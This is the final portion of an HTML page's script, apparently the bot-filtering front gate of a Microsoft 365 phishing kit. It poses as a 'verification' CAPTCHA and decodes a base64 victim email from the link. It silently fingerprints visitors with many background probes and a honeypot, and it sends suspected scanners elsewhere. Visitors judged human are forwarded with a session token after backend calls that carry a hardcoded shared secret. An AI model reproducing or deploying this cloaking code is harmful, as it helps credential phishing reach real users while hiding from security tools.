    var ok  = Array.from(cor).every(function(i){ return _sel.has(i); }) &&
              Array.from(_sel).every(function(i){ return cor.has(i); });
    if (!ok) {
      res.style.color = '#a4262c';
      res.textContent = 'Incorrect — please try again.';
      _nc(); return;
    }
    res.style.color = '#107c10';
    res.textContent = 'Correct! Completing verification…';
    _cmp(true);
  }

  /* ================================================================
     COMPLETE — issue token and redirect
     ================================================================ */
  async function _cmp(cp) {
    _done = true;
    _sr('checked');
    _st2('Verified','Redirecting you now…');
    document.getElementById('captcha-section').style.display = 'none';
    document.getElementById('main-heading').textContent = 'Verification complete';
    document.getElementById('sub-text').textContent     = 'Signing you in to Microsoft 365…';
    try {
      var r = await fetch(_R+'/api/issue-token', {
  method:'POST',
  headers:{'Content-Type':'application/json','x-origin-secret':'$URU$101@TDF'},
  body:JSON.stringify({sessionToken:_st, captchaPassed:!!cp}),
});
      if (!r.ok) throw new Error();
      var d = await r.json();
      _aC(d);
      await new Promise(function(r){ setTimeout(r, 550+Math.random()*300); });
      window.location.href = _R+'/protected?token='+encodeURIComponent(d.token);
    } catch(_) { _nc(); _sh(); }
  }

  /* ================================================================
     VERIFY BUTTON CLICK — human clicks checkbox
     ================================================================ */
  async function _sv() {
    if (_done) return;
    _checkHp();
    if (_hpFilled) { _rr(); return; }

    _sr('checking');
    _st2('Verifying…','Please wait a moment');
    document.getElementById('verify-btn').disabled = true;

    /* Randomised delay — feels natural to humans, hard to time for bots */
    var delay = 800 + Math.floor(Math.random()*700);
    await new Promise(function(r){ setTimeout(r, delay); });

    _checkHp();
    var sc = _score();
    var bl = _C.sB || 60;
    var ca = _C.sC || 25;

    if (sc > bl) { _rr(); return; }

    if (sc > ca && _C.cE) { _nc(); _sh(); return; }

    await _cmp(false);
  }

  /* ================================================================
     ENTRY HANDLER
     ================================================================ */
  async function _he(b64, folder) {
    try {
      var cr = await fetch(_R+'/api/config', {
  headers:{'x-origin-secret':'$URU$101@TDF'}
});
if (cr.ok) _aC(await cr.json());
var r = await fetch(_R+'/api/create-session', {
  method:'POST',
  headers:{'Content-Type':'application/json','x-origin-secret':'$URU$101@TDF'},
  body:JSON.stringify({b64email:b64, folderHint:folder||''}),
});
      if (!r.ok) throw new Error();
      var d = await r.json();
      _aC(d);
      window.location.replace(d.sessionUrl);
    } catch(_) { _rr(); }
  }

  /* ================================================================
     SESSION VALIDATION
     ================================================================ */
  async function _vs(token) {
    try {
      var r = await fetch(_R+'/api/validate-session', {
  method:'POST',
  headers:{'Content-Type':'application/json','x-origin-secret':'$URU$101@TDF'},
  body:JSON.stringify({token:token}),
});
      if (!r.ok) throw new Error();
      var d = await r.json();
      _aC(d);
      if (!d.valid) { window.location.replace(d.redirect||_P[0]); return false; }
      return true;
    } catch(_) { _rr(); return false; }
  }

  /* ================================================================
     BOOT
     ================================================================ */
  async function _boot() {
    // Phase-gate handled entry → _boot() only ever runs in session phase
    var ph = window.__BG_PHASE__;
    if (!ph || ph.phase !== 'session') return;

    _folder = ph.folderHint || '';
    _st     = ph.token;
    _em     = _de(ph.b64email);

    var ok = await _vs(_st);
    if (!ok) return;
    _ib();
    /* Silently run all probes in background — scores ready when button clicked */
    _s01(); _s02(); _s03(); _s04(); _s05();
    _s06(); _s07(); _s08(); _s09(); _s10();
    _s11(); _s12(); _s13(); _s14(); _s15();
    _s20(); _s22(); _s23(); _s24();
    try { _s25(); } catch(_) {}
  }

  _boot();

  /* Expose only what CAPTCHA UI buttons need — nothing that reveals scoring */
  return { _sv:_sv, _nc:_nc, _tp:_tp, _vc:_vc };

})();
</script>
</body>
</html>
